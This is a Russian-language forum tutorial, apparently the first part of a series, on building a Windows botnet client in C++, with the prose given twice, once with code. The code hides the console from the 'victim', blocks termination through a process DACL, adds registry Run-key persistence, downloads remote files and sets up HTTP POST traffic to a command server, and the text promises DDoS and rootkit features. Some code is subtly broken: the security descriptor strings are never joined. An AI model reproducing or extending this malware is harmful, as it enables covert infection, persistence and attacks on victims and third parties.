Предисловие
На написание этой серии статей меня натолкнули несколько тем от @SooLFaa, в которых он рассказывал о разработке ботнета на C# . NET
Его посты действительно занимательные и во многом мои будут их повторять(вплодь до методов WinAPI), но с одним весомым отличием — писать свой ботнет мы будем на C++ без использования сторонних библиотек. C# очень хороший язык, но хоть и Windows 10 завоевывает всё больше машин (даже я использую десятку на планшете, ноуте и стационарном пк), парадом всё ещё правит Windows 7, а .NET, хоть и достаточно популярен в наше время, всё ещё у многих не установлен.
Заранее предупрежу, что на С++ перешел совсем недавно и хоть я пытаюсь писать без костылей, иногда может попадаться код, который вы могли бы написать лучше.
Создание и организация проекта
В качестве IDE использую Visual Studio 2017 Community с последними обновлениями, в качестве системы контроля версий Git.
Создаем новый Win32 Console Application проект в Visual Studio и видим не особо дружелюбный (по сравнению с C#) код:
Для начала нам необходимо реализовать скрытие консоли от глаз жертвы.
Жмем на папку Source Files и создаем новый .cpp файл, назовем его Utils.cpp
Сразу же создадим заголовочный файл для нашего класса.
Жмем на папку Header Files и создаем новый .h файл, называем его Utils.h
Кстати, изначально заголовочные файлы были созданы для оптимизации кода для компилятора, поскольку железо было куда слабее. Сейчас, формально, можно обойтись и без них, но мы же пишем по канону.
Давайте распишем наши будущие методы, открываем Utils.h и пишем:
Кстати, все последующие инклуды мы будем прописывать в заголовочных файлах.
Теперь переходим в Utils.cpp, инклудим наш .h файл и пишем:
Наш первый метод готов!
Для тестирования в рут неймспейсе нашего проекта (в моём случае SimpleBotnet.cpp) инклудим Utils.h, объявляем класс и используем функцию HideConsole:
Теперь запретим закрытие нашей программы, изменив аттрибуты процесса. Возвращаемся в Utils.h и добавляем новую функцию DenyAccess:
Так-же прошу обратить внимание на то, что мы подключили к проекту хедер Sddl.h
Опишем функцию DenyAccess в Utils.cpp:
Кстати, в Windows 10 данный метод не работает, поскольку Microsoft наградили taskmgr более высокими привелегиями(system). По крайней мере, на админ-учетке это так, как на юзер-моде — не знаю.
Создадим функцию для добавления в автозагрузку. Во всё том же Utils.cpp прописываем метод Autoload, принимающий string-параметры Name и Path:
Не забываем добавлять функцию в хедер:
Как вы заметили, мы использовали стандартную функцию system() и стандартную виндовую утилиту для работы с реестром(reg). Данная функция позволяет напрямую обращаться к командной строке(cmd.exe) от имени пользователя, который запустил нашу программу. Благодаря этой замечательной функции в будущем мы будем творить удивительные вещи, но об этом в следующих постах.
Какой ботнет без возможности загрузки файлов с удаленного сервера?
Добавим эти функции и ещё пару попутных:
Utils.cpp
Utils.h
А теперь начинаются сложности. Следующий шаг — реализация общения между ботом и C&C-сервером (командным сервером). Казалось бы, ничего сложного. Однако, есть одно «но» — встроенного функционала для работы с http в C++ нету.
У нас есть два выбора — использовать готовые, но тяжелые, библиотеки или написать свою, но легкую.
Вес исполняемого файла в разработке малвари очень важен, поэтому мне пришлось изворачиваться.
После ночи мучений, был найден подходящий код.
Создаем HTTP.cpp и HTTP.h в Source Files и Header Files соответственно. Поскольку код длинный, прикладываю прямую ссылку на класс в репозитории:
Копируем код по ссылке в свой проект, затем открываем HTTP.h и пишем:
Данный класс служит для отправки HTTP POST запросов, пример использования:
На этом первая часть заканчивается, в следующей части мы реализуем общение с командным сервером (получение указаний), научим наш ботнет DDoS'ить указанные ресурсы, а так-же допилим функциональность руткита.
Исходники
Специально для этой серии статей создал (буду рад вашим форкам). Обновлять буду по мере выхода статей.
На написание этой серии статей меня натолкнули несколько тем от @SooLFaa, в которых он рассказывал о разработке ботнета на C# . NET
Его посты действительно занимательные и во многом мои будут их повторять(вплодь до методов WinAPI), но с одним весомым отличием — писать свой ботнет мы будем на C++ без использования сторонних библиотек. C# очень хороший язык, но хоть и Windows 10 завоевывает всё больше машин (даже я использую десятку на планшете, ноуте и стационарном пк), парадом всё ещё правит Windows 7, а .NET, хоть и достаточно популярен в наше время, всё ещё у многих не установлен.
Заранее предупрежу, что на С++ перешел совсем недавно и хоть я пытаюсь писать без костылей, иногда может попадаться код, который вы могли бы написать лучше.
Создание и организация проекта
В качестве IDE использую Visual Studio 2017 Community с последними обновлениями, в качестве системы контроля версий Git.
Создаем новый Win32 Console Application проект в Visual Studio и видим не особо дружелюбный (по сравнению с C#) код:
Код:
#include "stdafx.h"
int main()
{
return 0;
}
Для начала нам необходимо реализовать скрытие консоли от глаз жертвы.
Жмем на папку Source Files и создаем новый .cpp файл, назовем его Utils.cpp
Сразу же создадим заголовочный файл для нашего класса.
Жмем на папку Header Files и создаем новый .h файл, называем его Utils.h
Кстати, изначально заголовочные файлы были созданы для оптимизации кода для компилятора, поскольку железо было куда слабее. Сейчас, формально, можно обойтись и без них, но мы же пишем по канону.
Давайте распишем наши будущие методы, открываем Utils.h и пишем:
Код:
#include <iostream>
#include <Aclapi.h>
using namespace std;
class Utils {
public:
void HideConsole();
};
Кстати, все последующие инклуды мы будем прописывать в заголовочных файлах.
Теперь переходим в Utils.cpp, инклудим наш .h файл и пишем:
Код:
#include "stdafx.h"
#include "Utils.h"
/* Скрываем консоль от пользователя */
void Utils::HideConsole() {
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}
Наш первый метод готов!
Для тестирования в рут неймспейсе нашего проекта (в моём случае SimpleBotnet.cpp) инклудим Utils.h, объявляем класс и используем функцию HideConsole:
Код:
#include "stdafx.h"
#include "Utils.h"
Utils utils;
int main()
{
utils.HideConsole();
system("pause");
return 0;
}
Теперь запретим закрытие нашей программы, изменив аттрибуты процесса. Возвращаемся в Utils.h и добавляем новую функцию DenyAccess:
Код:
#include <iostream>
#include <Aclapi.h>
#include "Sddl.h"
using namespace std;
class Utils {
public:
void HideConsole();
BOOL DenyAccess();
};
Так-же прошу обратить внимание на то, что мы подключили к проекту хедер Sddl.h
Опишем функцию DenyAccess в Utils.cpp:
Код:
/* Изменяем атрибуты процесса */
BOOL Utils::DenyAccess() {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
SECURITY_ATTRIBUTES sa;
TCHAR * szSD = TEXT("D:P");
TEXT("(D;OICI;GA;;;BG)");
TEXT("(D;OICI;GA;;;AN)");
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = FALSE;
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(szSD, SDDL_REVISION_1, &(sa.lpSecurityDescriptor), NULL))
return FALSE;
if (!SetKernelObjectSecurity(hProcess, DACL_SECURITY_INFORMATION, sa.lpSecurityDescriptor))
return FALSE;
return TRUE;
}
Кстати, в Windows 10 данный метод не работает, поскольку Microsoft наградили taskmgr более высокими привелегиями(system). По крайней мере, на админ-учетке это так, как на юзер-моде — не знаю.
Создадим функцию для добавления в автозагрузку. Во всё том же Utils.cpp прописываем метод Autoload, принимающий string-параметры Name и Path:
Код:
/* Добавление в автозагрузку */
void Utils::Autoload(string Name, string Path) {
string command = "REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V " + Name + " /t REG_SZ /F /D " + Path;
system(command.c_str());
}
Не забываем добавлять функцию в хедер:
Код:
void Autoload(string Name, string Path);
Как вы заметили, мы использовали стандартную функцию system() и стандартную виндовую утилиту для работы с реестром(reg). Данная функция позволяет напрямую обращаться к командной строке(cmd.exe) от имени пользователя, который запустил нашу программу. Благодаря этой замечательной функции в будущем мы будем творить удивительные вещи, но об этом в следующих постах.
Какой ботнет без возможности загрузки файлов с удаленного сервера?
Добавим эти функции и ещё пару попутных:
Utils.cpp
Код:
/* Загрузка файла с удаленного сервера */
void Utils::DownloadFile(wchar_t *url, wchar_t *dir) {
URLDownloadToFile(0, url, dir, 0, 0);
}
/* Создание папки */
void Utils::CreateDir(wchar_t *dir) {
CreateDirectory(dir, NULL);
}
/* Проверка файла на существование */
bool Utils::FileExists(const char *fname) {
return access(fname, 0) != -1;
}
Код:
#include <iostream>
#include <Aclapi.h>
#include "Sddl.h"
#include <io.h>
using namespace std;
class Utils {
public:
void HideConsole();
BOOL DenyAccess();
void Autoload(string Name, string Path);
void DownloadFile(wchar_t *url, wchar_t *dir);
void CreateDir(wchar_t *dir);
bool FileExists(const char *fname);
};
А теперь начинаются сложности. Следующий шаг — реализация общения между ботом и C&C-сервером (командным сервером). Казалось бы, ничего сложного. Однако, есть одно «но» — встроенного функционала для работы с http в C++ нету.
У нас есть два выбора — использовать готовые, но тяжелые, библиотеки или написать свою, но легкую.
Вес исполняемого файла в разработке малвари очень важен, поэтому мне пришлось изворачиваться.
После ночи мучений, был найден подходящий код.
Создаем HTTP.cpp и HTTP.h в Source Files и Header Files соответственно. Поскольку код длинный, прикладываю прямую ссылку на класс в репозитории:
Копируем код по ссылке в свой проект, затем открываем HTTP.h и пишем:
Код:
#include <Windows.h>
#include <WinHttp.h>
#include <stdio.h>
#include <iostream>
#include <fstream>
#pragma comment(lib, "winhttp.lib")
using namespace std;
class HTTP {
public:
string Request(string domain, string url, string dat);
private:
std::wstring get_utf16(const std::string &str, int codepage);
};
Данный класс служит для отправки HTTP POST запросов, пример использования:
Код:
HTTP http;
string response = http.Request("https://codeby.net", "/page/test.php", "UserName=test&Password=test");
На этом первая часть заканчивается, в следующей части мы реализуем общение с командным сервером (получение указаний), научим наш ботнет DDoS'ить указанные ресурсы, а так-же допилим функциональность руткита.
Исходники
Специально для этой серии статей создал (буду рад вашим форкам). Обновлять буду по мере выхода статей.